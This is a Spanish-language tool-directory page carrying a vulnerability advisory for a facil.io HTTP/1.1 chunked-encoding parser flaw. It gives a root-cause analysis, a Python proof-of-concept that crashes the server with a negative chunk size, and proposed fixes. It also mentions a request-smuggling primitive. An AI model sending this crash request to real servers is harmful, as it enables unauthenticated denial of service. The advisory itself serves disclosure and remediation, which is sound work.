Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash — Aviso de seguridad para CVE-2026-66731 con análisis de causa raíz, exploit PoC y sugerencias de corrección para el error del analizador de codificación por fragmentos (chunked) HTTP/1.1 de facil.io. | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoSeguridad Web
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

Aviso de seguridad para CVE-2026-66731 con análisis de causa raíz, exploit PoC y sugerencias de corrección para el error del analizador de codificación por fragmentos (chunked) HTTP/1.1 de facil.io.

Ver Repositorio
26hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aviso de Seguridad: El Análisis de Tamaño de Fragmento Negativo Causa Corrupción de Memoria en facil.io

ID de CVE asignado: CVE-2026-66731

Producto: facil.io
Versiones afectadas: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introducido cuando el parser HTTP/1.1 de 0.8.x se retroportó en 0.7.5 - no presente en 0.6.x ni 0.7.0–0.7.3 Componente: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Validación de Entrada Incorrecta), CWE-682 (Cálculo Incorrecto), CWE-125 (Lectura Fuera de Límites)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Investigador: Theodosis Paidakis


Resumen

El parser de codificación de transferencia fragmentada (chunked) acepta un signo menos inicial en los valores de tamaño de fragmento. http1_atol16 devuelve un long long negativo para entradas como -FFFFFF. El parser almacena 0 - chunk_len en content_length como un centinela para «dentro de un fragmento». Cuando chunk_len es negativo, esa resta produce un valor positivo grande, corrompiendo la máquina de estados. Un cálculo posterior de puntero mueve el puntero de lectura millones de bytes antes del búfer de entrada, hacia memoria no mapeada, provocando el cierre del proceso. Una única solicitud POST no autenticada es suficiente.


Causa raíz

Paso 1: http1_atol16 acepta un signo menos inicial

lib/facil/http/parsers/http1_parser.h, líneas 316-346

// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

La entrada -FFFFFF\r\n produce chunk_len = -16777215LL. La sección 4.1 de RFC 7230 especifica los tamaños de fragmento como enteros hexadecimales no negativos. Un signo menos inicial no es válido.

Paso 2: Corrupción de la máquina de estados

lib/facil/http/parsers/http1_parser.h, líneas 681-690

// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

El parser usa un content_length negativo como centinela que significa «leyendo actualmente el cuerpo del fragmento». Con un content_length positivo de +16777215, la máquina de estados cree que está leyendo un cuerpo normal (no fragmentado) de 16 MB.

Paso 3: El puntero retrocede hacia memoria no mapeada

En la siguiente iteración, el parser calcula:

// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

La lectura desde esa dirección falla.


Prueba de concepto

Inicie el servidor y luego ejecute:

# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

Salida de ASAN (confirmada):

AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

Efecto según el tamaño de fragmento enviado:

Chunk sizecontent_length after corruptionOutcome
-00Body silently skipped; server survives
-1+1Pointer 1 byte before start
-FFFFFF+16777215Pointer 16 MB before start; crash
-7FFFFFFF+2147483647Pointer 2 GB before start; crash

Nota: el caso -0 (0 - 0 = 0) alcanza la rama «cuerpo fragmentado completo» y el servidor sobrevive, pero acepta la solicitud como si tuviera un cuerpo vacío independientemente de los datos que sigan. Esto puede funcionar como una primitiva de contrabando de solicitudes (request smuggling) en implementaciones con proxy donde el front-end analiza la codificación fragmentada de manera diferente.


Impacto

Una única solicitud no autenticada Transfer-Encoding: chunked con un tamaño de fragmento negativo bloquea el servidor. Cualquier aplicación que acepte HTTP/1.1 se ve afectada; la codificación fragmentada es una característica principal del protocolo y no requiere configuración a nivel de aplicación.


Corrección

Cualquiera de los dos enfoques es suficiente. Se prefiere la Corrección 1.

Corrección 1: rechazar el signo menos inicial en http1_atol16

lib/facil/http/parsers/http1_parser.h, línea 322

// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

Corrección 2: validar chunk_len antes de usarlo

lib/facil/http/parsers/http1_parser.h, línea 681

// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

Relación con correcciones de seguridad anteriores

El commit 53caca31 ("Fix atol16 to fix chunked length calculation", dic. 2019) corrigió la condición del bucle de detección de desbordamiento pero mantuvo el código de manejo de signos. El commit fe847cdf ("fix HTTP/1.1 parser against smuggling attack", may. 2020) abordó los conflictos TE/CL (cuando están presentes tanto Transfer-Encoding como Content-Length). Ninguno cubre los tamaños de fragmento negativos.

Descargar herramienta